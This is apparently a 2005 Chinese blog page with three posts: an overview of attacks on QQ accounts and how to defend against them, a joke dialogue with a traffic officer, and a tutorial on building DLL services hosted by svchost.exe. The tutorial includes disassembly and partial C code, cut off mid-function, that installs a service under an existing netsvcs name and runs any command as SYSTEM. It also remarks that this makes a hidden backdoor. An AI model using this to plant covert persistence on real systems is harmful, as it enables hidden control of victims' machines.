  随着聊天工具的日益普及,聊天工具已经成为黑客的主流攻击手段和攻击目标。许多黑客都盯上了这个通道,利用聊天工具的安全漏洞发起攻击,掌握了对方的聊天工具就可能得到了管理员权限。现在很多网络即时聊天工具的安全性都比较低,不需要很高水平就可以攻击成功。国内人们常用的即时通讯软件主要有腾讯的QQ、网易的泡泡、_blank">新浪UC、微软的MSN、ICQ、IMU即时通、雅虎通(Yahoo! Messenger)、Trillian 等,这里主要将用户最多的QQ安全问题和黑客攻击手段作一介绍。

  QQ是腾讯公司推出的一款免费聊天工具,现在网上已经出现了QQ2005贺岁版,QQ软件的主要用途是进行聊天。因为功能众多,大部分功能又是免费的,所以在国内成为用户最多的聊天工具,在线人数经常是几百万,到2004年底,在线用户最高峰已经突破1000万大关,因此成为黑客光顾的重点对象。  本文从黑客对QQ的攻击方法入手,找出攻击的共性,从而更好地进行防御。  对QQ用户的攻击主要有以下几个方面。

  一、盗取QQ号码

  盗取QQ号码的法有攻击弱口令和在公用计算机上安装键盘记录工具记录密

码,或者向用户发送木马,利用工具盗取口令。

  弱口令攻击就是利用QQ密码穷尽软件,在线尝试可能的密码组合,如果密码

位数很短,如6位以下,或者密码是全数字或一个英文单词等有明显特征的情况

,就很容易被穷尽软件找出,对付这种攻击的办法就是使用尽可能复杂的密码,

像字母和数字的组合,密码长度要至少8位以上等。

  在很多公用计算机尤其是网吧的计算机上都被安装了键盘记录工具,当计算

机开启后,从键盘上健入的每一个字符都被完整地记录下来,黑客只要查看记录

文件,就不难从中找出QQ号码和对应的密码。对付这种攻击的办法是在输入密码

时,键盘和鼠标并用,利用鼠标调整密码的输入顺序就可以,如果你的密码有8

位以上并且密码的每个字符都不相同,即使黑客知道了你全部的密码字符,也不

足虑,想一想8的阶乘8*7*6*5*4*3*2*1=40320,已经够黑客穷尽很长时间,另一

条原则是在网吧上网后,要记得修改密码,增大自己的安全系数。

  还有一种方法是利用用户贪便宜的心理,盗取QQ号码。最著名的是下面这样

一次欺骗。在某些论坛上有人发布这样的贴子,声称几个黑客成功的潜入了腾讯

公司的主页并得到了一些有价值的数据和漏洞。原理是进入腾讯公司的主页后,

他们在服务器上搞了个可以自动读取指令的号码QQ*******:,公司的管理员就

是通过发指令给这样QQ来完成比较简单的工作的(比如说收回QQ和找回密码等等

)这个QQ的号码是:**********(腾讯公司为了

不引起大家的注意,所以这个QQ比较普通,这个QQ一般隐身,向此QQ号码发代码

{Jerusalum/PLO********}{Vesselin Bontchev@@@@}{FRALDMUZK ###} (*****填

上QQ号码,@@@@填上QQ密码,###填你申请Q币的个数 ,就可以等着收Q币,还可

以得到好号。贪便宜想得到QQ币的用户,把自己的号码与密码都发给了此人,号

码自然被人盗走。

  腾讯公司推出的QQ号码手机绑定功能可以一劳永逸地解决QQ号码的盗取问题

,美中不足的是这是一项收费服务,对那些想免费使用QQ软件的朋友是一项不小

的挑战。
  二、利用系统广播,骗取手机费用

  实际案例是某QQ用户的手机号码于10月31日收到来自977702XX774或1700002

XX774的下列信息:“恭喜你成功订阅了XXX业务每月将收取服务费30元,退订请

编辑DQ01#EXIT80发送至921X”。 短信内容中的“DQ01#EXIT80发送至921X”实

际是某个网站的订制某游戏业务中获取秘籍的指令,目的是让用户收到此信息后

,以为自己曾订制过某项业务,为了不再被收取费用,急急忙忙按照短信内容发

送“退订”;此时用户正中陷阱,原以为是退订业务,反而变成定制业务,导致

自己的手机费用受到损失。

  三、查看其他用户的信息

  如果成功盗取到其他用户的QQ号码,自然能够看到其他用户的信息,如果没

有,则在公用计算机上可以看到在本机上用过QQ软件的其他用户的信息,如聊天

记录、好友信息等。借助软件可以脱线登录其他用户QQ号码,并察看聊天记录和

好友信息。

  四、利用QQ漏洞攻击用户的主机

  上面的几个方面只是局限在对QQ的攻击,而黑客做的更多的是借助QQ,进一

步控制用户的计算机。最流行的是QQ尾巴病毒。QQ尾巴病毒就是在用户系统中悄

悄运行的一个程序,通过用户的QQ给对方发消息,而且这种消息发送是自动进行

的,其中带有一个程序或一个恶意网站的网址,对方收到消息后,由于是好友发

过来的,往往会毫不犹豫地点击那个网址或程序,就会被恶意代码、病毒攻击,

系统被改得面目全非。然而因为消息是好友给发过来的,成功的概率很高,这就

使得QQ病毒大肆流传。但这种病毒也有其自身的弱点,就是病毒信息是对方发过

来的第一个信息,对好友的第一个信息稍加注意,并向好友证实后再点击,就能

够很好地预防QQ病毒的攻击。

  五、QQ浏览共享文件功能的恶意利用

  自QQ2003II之后,增加了一项“浏览好友共享文件”功能,一台机器设了共

享,其他机器都可以访问它。如果这台机器给其中的某个目录设置了完全共享,

其他机器既可以访问浏览这个目录,又可以对这个目录中的文件进行修改、创建

、删除操作。在设置共享的时候还可以使用密码,让其他人通过密码来访问,或

者使用控制权限的方法让某台指定的机器访问。QQ的“浏览共享文件”功能就是

这个意思。这个功能把你的机器与你的好友的机器通过QQ、利用互联网组成了一

个“大局域网”。局域网中有只读共享和完全共享的概念,但是在QQ的共享中目

前据说都是只读共享。但是否存在能够通过其它途径改为完全共享,还不得而知

。这就需要用户不要随便添加好友,好友对用户机器有一定的操作权限。

  其它对QQ进行攻击的手段还有很多,这里就不再一一列举,对其它的聊天工

具也都存在不同程序的黑客攻击行为,进行聊天的用户往往是毫无安全意识的普

通用户,这就导致了对聊天软件的攻击大肆流行。

- 作者: Tinker 2005年06月21日, 星期二 11:35  回复(1) |  引用(0) 加入博采

MM是怎样折磨交警的

MM是怎样折磨交警的

     他在十字路口拦住了她的“POLO”,敬礼后,请她出示驾驶证。

    “这是为什么?”她坦率地惊问道。

    “您违犯了交通规则。”

    “谁告诉您的?”

    “我亲眼看到的。快出示证件,我等着呢。”

    “您是不是认为我没有驾照?”

    “我没这样认为。 ”


    “可是,我怎么可以把证件交给一个完全不认识的人呢?”

    “我是交通警察,我有权这样做。”

    “可我怎样道您是交警呢?”

    “难道您没看见我穿的制服?”

    “制服能说明什么?制服是可以假造的。我记得10年前,我的朋友张娜认识了一位军人……”

    “请不要给我讲故事,我在等您的证件。”

    “这不是故事,是往事。我只是想证明,制服并不总是可信的。”

    “那好吧,我可以让您看一下我的工作证。”

    “这个吗……也好,让我看看。嗯,这么说,您叫李维金?”

    “李维全。”

    “什么?您瞧这全写得像个金。算了,就当你是李维金吧,可是照片却不像你呀?”

    “不知道,可能是没戴帽子吧。强调一下。我叫李维全”

    “真的吗?你摘下帽子让我看看。还有,站直些,别皱眉头。是的,有点像了。照片很久了吧?”

    “7年前……”

    “这能看出来。你那时看上去很帅。”

    “好了吧,请把证件还给我。”

    “你急啥?只要证件不是伪造的,就不会有什么事发生。”

    “可我没空呀,我正在值班。”

    “你是否认为,我的空闲时间很多?我马上要去市场,顺路还得去找女裁缝,还要去看望生病的姑姑,还得给丈夫打电话……”

    “我求您了,快把证件还给我!您看看,您让后面堵了多少车了。”

    “这怎么能怨我?要知道并不是我拦住了您,而是您拦住了我。”

    “好吧,好吧,算我错了。只是恳求您快把证件还给我,把车开走。”

    “就是嘛!给您证件。以后可别再制造交通堵塞了。”

- 作者: Tinker 2005年06月15日, 星期三 17:02  回复(1) |  引用(0) 加入博采

创建 SvcHost.exe 调用的服务原理与实践
创建 SvcHost.exe 调用的服务原理与实践
 
 1. 多个服务共享一个Svchost.exe进程利与弊

windows 系统服务分为独立进程和共享进程两种,在windows NT时只有服务器管理器SCM(Services.exe)有多个共享服务,随着系统内置服务的增加,在windows 2000中ms又把很多服务做成共享方式,由svchost.exe启动。windows 2000一般有2个svchost进程,一个是RPCSS(Remote Procedure Call)服务进程,另外一个则是由很多服务共享的一个svchost.exe。而在windows XP中,则一般有4个以上的svchost.exe服务进程,windows 2003 server中则更多,可以看出把更多的系统内置服务以共享进程方式由svchost启动是ms的一个趋势。这样做在一定程度上减少了系统资源的消耗,不过也带来一定的不稳定因素,因为任何一个共享进程的服务因为错误退出进程就会导致整个进程中的所有服务都退出。另外就是有一点安全隐患,首先要介绍一下 svchost.exe的实现机制。

2. Svchost原理

Svchost本身只是作为服务宿主,并不实现任何服务功能,需要Svchost启动的服务以动态链接库形式实现,在安装这些服务时,把服务的可执行程序指向svchost,启动这些服务时由svchost调用相应服务的动态链接库来启动服务。

那么svchost如何知道某一服务是由哪个动态链接库负责呢?这不是由服务的可执行程序路径中的参数部分提供的,而是服务在注册表中的参数设置的,注册表中服务下边有一个Parameters子键其中的ServiceDll表明该服务由哪个动态链接库负责。并且所有这些服务动态链接库都必须要导出一个ServiceMain()函数,用来处理服务任务。

例如rpcss(Remote Procedure Call)在注册表中的位置是HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs,它的参数子键Parameters里有这样一项:

"ServiceDll"=REG_EXPAND_SZ:"%SystemRoot%\system32\rpcss.dll"

当启动rpcss服务时,svchost就会调用rpcss.dll,并且执行其ServiceMain()函数执行具体服务。

既然这些服务是使用共享进程方式由svchost启动的,为什么系统中会有多个svchost进程呢?ms把这些服务分为几组,同组服务共享一个svchost进程,不同组服务使用多个svchost进程,组的区别是由服务的可执行程序后边的参数决定的。

例如rpcss在注册表中 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs 有这样一项:

"ImagePath"=REG_EXPAND_SZ:"%SystemRoot%\system32\svchost -k rpcss"

因此rpcss就属于rpcss组,这在服务管理控制台也可以看到。

svchost的所有组和组内的所有服务都在注册表的如下位置: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost,例如windows 2000共有4组rpcss、netsvcs、wugroup、BITSgroup,其中最多的就是netsvcs=REG_MULTI_SZ: EventSystem.Ias.Iprip.Irmon.Netman.Nwsapagent.Rasauto.Rasman.Remoteaccess.SENS.Sharedaccess.Tapisrv.Ntmssvc.wzcsvc..

在启动一个svchost.exe负责的服务时,服务管理器如果遇到可执行程序内容ImagePath已经存在于服务管理器的映象库中,就不在启动第2个进程svchost,而是直接启动服务。这样就实现了多个服务共享一个svchost进程。

3. Svchost代码

现在我们基本清楚svchost的原理了,但是要自己写一个DLL形式的服务,由svchost来启动,仅有上边的信息还有些问题不是很清楚。比如我们在导出的ServiceMain()函数中接收的参数是ANSI还是Unicode?我们是否需要调用 RegisterServiceCtrlHandler和StartServiceCtrlDispatcher来注册服务控制及调度函数?

这些问题要通过查看svchost代码获得。下边的代码是windows 2000+ service pack 4 的svchost反汇编片段,可以看出svchost程序还是很简单的。

主函数首先调用ProcCommandLine()对命令行进行分析,获得要启动的服务组,然后调用SvcHostOptions()查询该服务组的选项和服务组的所有服务,并使用一个数据结构 svcTable 来保存这些服务及其服务的DLL,然后调用PrepareSvcTable() 函数创建SERVICE_TABLE_ENTRY 结构,把所有处理函数SERVICE_MAIN_FUNCTION 指向自己的一个函数FuncServiceMain(),最后调用API StartServiceCtrlDispatcher() 注册这些服务的调度函数。

; =============================== Main Funcion ===========================================

.text:010010B8 public start
.text:010010B8 start proc near
.text:010010B8 pushesi
.text:010010B9 pushedi
.text:010010BA pushoffset sub_1001EBA ; lpTopLevelExceptionFilter
.text:010010BF xor edi, edi
.text:010010C1 callds:SetUnhandledExceptionFilter
.text:010010C7 push1 ; uMode
.text:010010C9 callds:SetErrorMode
.text:010010CF callds:GetProcessHeap
.text:010010D5 pusheax
.text:010010D6 callsub_1001142
.text:010010DB mov eax, offset dword_1003018
.text:010010E0 pushoffset unk_1003000 ; lpCriticalSection
.text:010010E5 mov dword_100301C, eax
.text:010010EA mov dwrd_1003018, eax
.text:010010EF callds:InitializeCriticalSection
.text:010010F5 callds:GetCommandLineW
.text:010010FB pusheax ; lpString
.text:010010FC callProcCommandLine
.text:01001101 mov esi, eax
.text:01001103 testesi, esi
.text:01001105 jzshort lab_doservice
.text:01001107 pushesi
.text:01001108 callSvcHostOptions
.text:0100110D callPrepareSvcTable
.text:01001112 mov edi, eax; SERVICE_TABLE_ENTRY returned
.text:01001114 testedi, edi
.text:01001116 jzshort loc_1001128
.text:01001118 mov eax, [esi+10h]
.text:0100111B testeax, eax
.text:0100111D jzshort loc_1001128
.text:0100111F pushdword ptr [esi+14h] ; dwCapabilities
.text:01001122 pusheax ; int
.text:01001123 callInitializeSecurity
.text:01001128
.text:01001128 loc_1001128:; CODE XREF: start+5Ej
.text:01001128 ; start+65j
.text:01001128 pushesi ; lpMem
.text:01001129 callHeapFreeMem
.text:0100112E
.text:0100112E lab_doservice:; CODE XREF: start+4Dj
.text:0100112E testedi, edi
.text:01001130 jzExitProgram
.text:01001136 pushedi ; lpServiceStartTable
.text:01001137 callds:StartServiceCtrlDispatcherW
.text:0100113D jmp ExitProgram
.text:0100113D start endp

; =============================== Main Funcion end ===========================================
由于svchost为该组的所有服务都注册了svchost中的一个处理函数,因此每次启动任何一个服务时,服务管理器SCM都会调用 FuncServiceMain() 这个函数。这个函数使用 svcTable 查询要启动的服务使用的DLL,调用DLL导出的ServiceMain()函数来启动服务,然后返回。

; ============================== FuncServiceMain() ===========================================
.text:01001504 FuncServiceMain proc near ; DATA XREF: PrepareSvcTable+44o
.text:01001504
.text:01001504 arg_0 = dword ptr8
.text:01001504 arg_4 = dword ptr0Ch
.text:01001504
.text:01001504 pushecx
.text:01001505 mov eax, [esp+arg_4]
.text:01001509 pushebx
.text:0100150A pushebp
.text:0100150B pushesi
.text:0100150C mov ebx, offset unk_1003000
.text:01001511 pushedi
.text:01001512 mov edi, [eax]
.text:01001514 pushebx
.text:01001515 xor ebp, ebp
.text:01001517 callds:EnterCriticalSection
.text:0100151D xor esi, esi
.text:0100151F cmp dwGroupSize, esi
.text:01001525 jbe short loc_1001566
.text:01001527 and [esp+10h], esi
.text:0100152B
.text:0100152B loc_100152B:; CODE XREF: FuncServiceMain+4Aj
.text:0100152B mov eax, svcTable
.text:01001530 mov ecx, [esp+10h]
.text:01001534 pushdword ptr [eax+ecx]
.text:01001537 pushedi
.text:01001538 callds:lstrcmpiW
.text:0100153E testeax, eax
.text:01001540 jzshort StartThis
.text:01001542 add dword ptr [esp+10h], 0Ch
.text:01001547 inc esi
.text:01001548 cmp esi, dwGroupSize
.text:0100154E jbshort loc_100152B
.text:01001550 jmp short loc_1001566
.text:01001552 ; =================================================
.text:01001552
.text:01001552 StartThis:; CODE XREF: FuncServiceMain+3Cj
.text:01001552 mov ecx, svcTable
.text:01001558 lea eax, [esi+esi*2]
.text:0100155B lea eax, [ecx+eax*4]
.text:0100155E pusheax
.text:0100155F callGetDLLServiceMain
.text:01001564 mov ebp, eax; dll ServiceMain Function address
.text:01001566
.text:01001566 loc_1001566:; CODE XREF: FuncServiceMain+21j
.text:01001566 ; FuncServiceMain+4Cj
.text:01001566 pushebx
.text:01001567 callds:LeaveCriticalSection
.text:0100156D testebp, ebp
.text:0100156F jzshort loc_100157B
.text:01001571 push[esp+10h+arg_4]
.text:01001575 push[esp+14h+arg_0]
.text:01001579 callebp
.text:0100157B
.text:0100157B loc_100157B:; CODE XREF: FuncServiceMain+6Bj
.text:0100157B pop edi
.text:0100157C pop esi
.text:0100157D pop ebp
.text:0100157E pop ebx
.text:0100157F pop ecx
.text:01001580 retn8
.text:01001580 FuncServiceMain endp ; sp = -8
; ============================== FuncServiceMain() end ========================================


由于svchost已经调用了StartServiceCtrlDispatcher来服务调度函数,因此我们在实现DLL实现时就不用了,这主要是因为一个进程只能调用一次StartServiceCtrlDispatcher API。但是需要用 RegisterServiceCtrlHandler 来注册响应控制请求的函数。最后我们的DLL接收的都是unicode字符串。

由于这种服务启动后由svchost加载,不增加新的进程,只是svchost的一个DLL,而且一般进行审计时都不会去 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost 检查服务组是否变化,就算去检查,也不一定能发现异常,因此如果添加一个这样的DLL后门,伪装的好,是比较隐蔽的。


4. 安装服务与设置
要通过svchost调用来启动的服务,就一定要在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost下有该服务名,这可以通过如下方式来实现:
1) 添加一个新的服务组,在组里添加服务名
2) 在现有组里添加服务名
3) 直接使用现有服务组里的一个服务名,但本机没有安装的服务
4) 修改现有服务组里的现有服务,把它的ServiceDll指向自己

其中前两种可以被正常服务使用,如使用第1种方式,启动其服务要创建新的svchost进程;第2种方式如果该组服务已经运行,安装后不能立刻启动服务,因为svchost启动后已经把该组信息保存在内存里,并调用API StartServiceCtrlDispatcher() 为该组所有服务注册了调度处理函数,新增加的服务不能再注册调度处理函数,需要重起计算机或者该组的svchost进程。而后两种可能被后门使用,尤其是最后一种,没有添加服务,只是改了注册表里一项设置,从服务管理控制台又看不出来,如果作为后门还是很隐蔽的。比如EventSystem服务,缺省是指向es.dll,如果把ServiceDll改为EventSystem.dll就很难发现。

因此服务的安装除了调用CreateService()创建服务之外,还需要设置服务的ServiceDll,如果使用前2种还要设置svchost的注册表选项,在卸载时也最好删除增加的部分。

具体代码参见后边的附例(使用的是方法3)。

注: ImagePath 和ServiceDll 是ExpandString不是普通字符串。因此如果使用.reg文件安装时要注意。


5. DLL服务实现
DLL程序的编写比较简单,只要实现一个ServiceMain()函数和一个服务控制程序,在ServiceMain()函数里用RegisterServiceCtrlHandler()注册服务控制程序,并设置服务的运行状态就可以了。

另外,因为此种服务的安装除了正常的CreateService()之外,还要进行其他设置,因此最好实现安装和卸载函数。

为了方便安装,实现的代码提供了InstallService()函数进行安装,这个函数可以接收服务名作为参数(如果不提供参数,就使用缺省的 iprip),如果要安装的服务不在svchost的netsvcs组里安装就会失败;如果要安装的服务已经存在,安装也会失败;安装成功后程序会配置服务的ServiceDll为当前Dll。提供的UninstallService()函数,可以删除任何函数而没有进行任何检查。

为了方便使用rundll32.exe进行安装,还提供了RundllInstallA()和RundllUninstallA()分别调用InstallService()及UninstallService()。因为rundll32.exe使用的函数原型是:
void CALLBACK FunctionName(
HWND hwnd,// handle to owner window
HINSTANCE hinst,// instance handle for the DLL
LPTSTR lpCmdLine, // string the DLL will parse
int nCmdShow// show state
);
对应的命令行是rundll32 DllName,FunctionName [Arguments]

DLL服务本身只是创建一个进程,该程序命令行就是启动服务时提供的第一个参数,如果未指定就使用缺省的svchostdll.exe。启动服务时如果提供第二个参数,创建的进程就是和桌面交互的。

具体代码参见后边的附例8,源代码和DLL文件请到http://www.binglesite.net下载。

//main service process function
void __stdcall ServiceMain( int argc, wchar_t* argv[] );
//report service stat to the service control manager
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress );
//service control handler, call back by service control manager
void __stdcall ServiceHandler( DWORD dwCommand );
//RealService just create a process
int RealService(char *cmd, int bInteract);

//Install this dll as a Service host by svchost.exe, service name is given by caller
int InstallService(char *name);
//unInstall a Service, be CARE FOR call this to delete a service
int UninstallService(char *name);
//Install this dll as a Service host by svchost.exe, used by RUNDLL32.EXE to call
void CALLBACK RundllInstallA(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow);
//unInstall a Service used by RUNDLL32.EXE to call, be CARE FOR call this to delete a service
void CALLBACK RundllUninstallA(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow);

//output the debug infor into log file(or stderr if a console program call me) & DbgPrint
void OutputString( char *lpFmt, ... );


6. 代码使用
C:\>tlist -s
 0 System Process
 8 System
240 services.exeSvcs:Browser,Dhcp,dmserver,Dnscache,Eventlog,lanmanserver,lanmanworkstation, LmHosts,PlugPlay,ProtectedStorage,TrkWks,Wmi
504 svchost.exe Svcs:RpcSs
1360 svchost.exe Svcs:EventSystem,Netman,RasMan,SENS,TapiSrv

C:\>rundll32 svchostdll.dll,RundllInstall abcd
SvcHostDLL: DllMain called DLL_PROCESS_ATTACH
you specify service name not in Svchost\netsvcs, must be one of following:
- EventSystem
- Ias
- Iprip
- Irmon
- Netman
- Nwsapagent
- Rasauto
- Rasman
- Remoteaccess
- SENS
- Sharedaccess
- Tapisrv
- Ntmssvc
- wzcsvc

C:\>rundll32 svchostdll.dll,RundllInstall IPRIP
SvcHostDLL: DllMain called DLL_PROCESS_ATTACH
CreateService(IPRIP) SUCCESS. Config it
Config service IPRIP ok.

C:\>sc start iprip "cmd /k whoami" 1
NT AUTHORITY\SYSTEM

SvcHostDLL: ServiceMain(3, IPRIP) called
SvcHostDLL: RealService called 'cmd /k whoami' Interact
SvcHostDLL: CreateProcess(cmd /k whoami) to 640

C:\>tlist -s
 0 System Process
 8 System
240 services.exeSvcs:Browser,Dhcp,dmserver,Dnscache,Eventlog,lanmanserver,lanmanworkstation, LmHosts,PlugPlay,ProtectedStorage,TrkWks,Wmi
504 svchost.exe Svcs:RpcSs
640 cmd.exe Title: C:\WINNT\System32\cmd.exe
1360 svchost.exe Svcs:EventSystem,Netman,RasMan,SENS,TapiSrv,IPRIP

C:\>net stop iprip
The IPRIP service was stopped successfully.

C:\>rundll32 svchostdll.dll,RundllUninstall iprip
DeleteService(IPRIP) SUCCESS.


7. 参考

Platform SDK: Tools - Rundll32
1) Inside Win32 Services, Part 2 by: Mark Russinovich, at: http://www.winnetmag.com/Articles/Index.cfm?ArticleID=8943&pg=3
2) Platform SDK: Tools - Rundll32, at: http://msdn.microsoft.com/library/en-us/tools/tools/rundll32.asp

 2003/8


8. 代码
// SvcHostDLL.cpp : Demo for a service dll used by svchost.exe to host it.
//
// for detail comment see articles.
// by bingle_at_email.com.cn
//www.BingleSite.net
//
/* save following as a .def file to export function, only ServiceMain is needed.
other used to install & uninstall service.
or use /EXPORT: link option to export them.

EXPORTS
ServiceMain
InstallService
UninstallService
RundllUninstallA
RundllInstallA
*/
/*
To compile & link:
cl /MD /GX /LD svchostdll.cpp /link advapi32.lib /DLL /base:0x71000000 /export:ServiceMain EXPORT:RundllUninstallA /EXPORT:RundllInstallA /EXPORT:InstallService /EXPORT:UninstallService
*/

//
//Articles:
// 1. HOWTO Create a service dll used by svchost.exe by bingle, at: http://www.BingleSite.net/article/svchost-dll-service.html
// 2. Inside Win32 Services, Part 2 by: Mark Russinovich, at: http://www.winnetmag.com/Articles/Index.cfm?ArticleID=8943&pg=3
// 3. Platform SDK: Tools - Rundll32, at: http://msdn.microsoft.com/library/en-us/tools/tools/rundll32.asp

#include <stdio.h>
#include <time.h>
#include <assert.h>
#include <windows.h>

#define DEFAULT_SERVICE "IPRIP"
#define MY_EXECUTE_NAME "SvcHostDLL.exe"

//main service process function
void __stdcall ServiceMain( int argc, wchar_t* argv[] );
//report service stat to the service control manager
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress );
//service control handler, call back by service control manager
void __stdcall ServiceHandler( DWORD dwCommand );
//RealService just create a process
int RealService(char *cmd, int bInteract);

//Install this dll as a Service host by svchost.exe, service name is given by caller
int InstallService(char *name);
//unInstall a Service, be CARE FOR call this to delete a service
int UninstallService(char *name);
//Install this dll as a Service host by svchost.exe, used by RUNDLL32.EXE to call
void CALLBACK RundllInstallA(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow);
//unInstall a Service used by RUNDLL32.EXE to call, be CARE FOR call this to delete a service
void CALLBACK RundllUninstallA(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow);

//output the debug infor into log file(or stderr if a console program call me) & DbgPrint
void OutputString( char *lpFmt, ... );


//dll module handle used to get dll path in InstallService
HANDLE hDll = NULL;
//Service HANDLE & STATUS used to get service state
SERVICE_STATUS_HANDLE hSrv;
DWORD dwCurrState;


BOOL APIENTRY DllMain( HANDLE hModule,
 DWORDul_reason_for_call,
 LPVOID lpReserved
 )
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hDll = hModule;
#ifdef _DEBUG
AllocConsole();
OutputString("SvcHostDLL: DllMain called DLL_PROCESS_ATTACH");
break;

 case DLL_THREAD_ATTACH:
OutputString("SvcHostDLL: DllMain called DLL_THREAD_ATTACH");
case DLL_THREAD_DETACH:
OutputString("SvcHosDLL: DllMain called DLL_THREAD_DETACH");
case DLL_PROCESS_DETACH:
TellSCM( SERVICE_STOP_PENDING, 0, 0 );
Sleep(1500);
TellSCM( SERVICE_STOPPED, 0, 0 );
OutputString("SvcHostDLL: DllMain called DLL_PROCESS_DETACH");
#endif
break;
}

 return TRUE;
}


void __stdcall ServiceMain( int argc, wchar_t* argv[] )
{
//DebugBreak();
char svcname[256];
strncpy(svcname, (char*)argv[0], sizeof svcname); //it's should be unicode, but if it's ansi we do it well
wcstombs(svcname, argv[0], sizeof svcname);
OutputString("SvcHostDLL: ServiceMain(%d, %s) called", argc, svcname);

 hSrv = RegisterServiceCtrlHandler( svcname, (LPHANDLER_FUNCTION)ServiceHandler );
if( hSrv == NULL )
{
OutputString("SvcHostDLL: RegisterServiceCtrlHandler %S failed", argv[0]);
return;
}else FreeConsole();

 TellSCM( SERVICE_START_PENDING, 0, 1 );
TellSCM( SERVICE_RUNNING, 0, 0 );

 // call Real Service function noew
if(argc > 1)
strncpy(svcname, (char*)argv[1], sizeof svcname),
wcstombs(svcname, argv[1], sizeof svcname);
RealService(argc > 1 ? svcname : MY_EXECUTE_NAME, argc > 2 ? 1 : 0);

 do{
Sleep(10);//not quit until receive stop command, otherwise the service will stop
}while(dwCurrState != SERVICE_STOP_PENDING && dwCurrState != SERVICE_STOPPED);

 OutputString("SvcHostDLL: ServiceMain done");
return;
}

int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress )
{
SERVICE_STATUS srvStatus;
srvStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
srvStatus.dwCurrentState = dwCurrState = dwState;
srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
srvStatus.dwWin32ExitCode = dwExitCode;
srvStatus.dwServiceSpecificExitCode = 0;
srvStatus.dwCheckPoint = dwProgress;
srvStatus.dwWaitHint = 3000;
return SetServiceStatus( hSrv, &srvStatus );
}

void __stdcall ServiceHandler( DWORD dwCommand )
{
// not really necessary because the service stops quickly
switch( dwCommand )
{
case SERVICE_CONTROL_STOP:
TellSCM( SERVICE_STOP_PENDING, 0, 1 );
OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_STOP");
Sleep(10);
TellSCM( SERVICE_STOPPED, 0, 0 );
break;
case SERVICE_CONTROL_PAUSE:
TellSCM( SERVICE_PAUSE_PENDING, 0, 1 );
OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_PAUSE");
TellSCM( SERVICE_PAUSED, 0, 0 );
break;
case SERVICE_CONTROL_CONTINUE:
TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 );
OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_CONTINUE");
TellSCM( SERVICE_RUNNING, 0, 0 );
break;
case SERVICE_CONTROL_INTERROGATE:
OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_INTERROGATE");
TellSCM( dwCurrState, 0, 0 );
break;
case SERVICE_CONTROL_SHUTDOWN:
OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_SHUTDOWN");
TellSCM( SERVICE_STOPPED, 0, 0 );
break;
}
}


//RealService just create a process
int RealService(char *cmd, int bInteract)
{
OutputString("SvcHostDLL: RealService called '%s' %s", cmd, bInteract ? "Interact" : "");
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof si;
if(bInteract) si.lpDesktop = "WinSta0\\Default";
if(!CreateProcess(NULL, cmd, NULL, NULL, false, 0, NULL, NULL, &si, &pi))
OutputString("SvcHostDLL: CreateProcess(%s) error:%d", cmd, GetLastError());
else OutputString("SvcHostDLL: CreateProcess(%s) to %d", cmd, pi.dwProcessId);

 return 0;
}


int InstallService(char *name)
{
// Open a handle to the SC Manager database.
int rc = 0;
HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
SC_HANDLE hscm = NULL, schService = NULL;

 try{
char buff[500];
char *svcname = DEFAULT_SERVICE;
if(name && name[0]) svcname = name;

 //query svchost setting
char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
rc = RegOpenKeyEx(hkRoot, pSvchost, 0, KEY_QUERY_value, &hkRoot);
if(ERROR_SUCCESS != rc)
{
OutputString("RegOpenKeyEx(%s) KEY_QUERY_value error %d.", pSvchost, rc);
throw "";
}

 DWORD type, size = sizeof buff;
rc = RegQueryvalueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)buff, &size);
RegCloseKey(hkRoot);
SetLastError(rc);
if(ERROR_SUCCESS != rc)
throw "RegQueryvalueEx(Svchost\\netsvcs)";

 for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
if(stricmp(ptr, svcname) == 0) break;

 if(*ptr == 0)
{
OutputString("you specify service name not in Svchost\\netsvcs, must be one of following:");
for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
OutputString(" - %s", ptr);
throw "";
}

 //install service
hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hscm == NULL)
throw "OpenSCManager()";

char *bin = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";

 schService = CreateService(
hscm,// SCManager database
svcname,// name of service
NULL, // service name to display
SERVICE_ALL_ACCESS,// desired access
SERVICE_WIN32_SHARE_PROCESS, // service type
SERVICE_AUTO_START,// start type
SERVICE_ERROR_NORMAL,// error control type
bin,// service's binary
NULL,// no load ordering group
NULL,// no tag identifier
NULL,// no dependencies
NULL,// LocalSystem account
NULL); // no password

 if (schService == NULL)
{
OutputString("CreateService(%s) error %d", svcname, rc = GetLastError());
throw "";
}
OutputString("CreateService(%s) SUCCESS. Config it", svcname);

 CloseServiceHandle(schService);
CloseServiceHandle(hscm);

 //config service
hkRoot = HKEY_LOCAL_MACHINE;
strncpy(buff, "SYSTEM\\CurrentControlSet\\Services\\", sizeof buff);
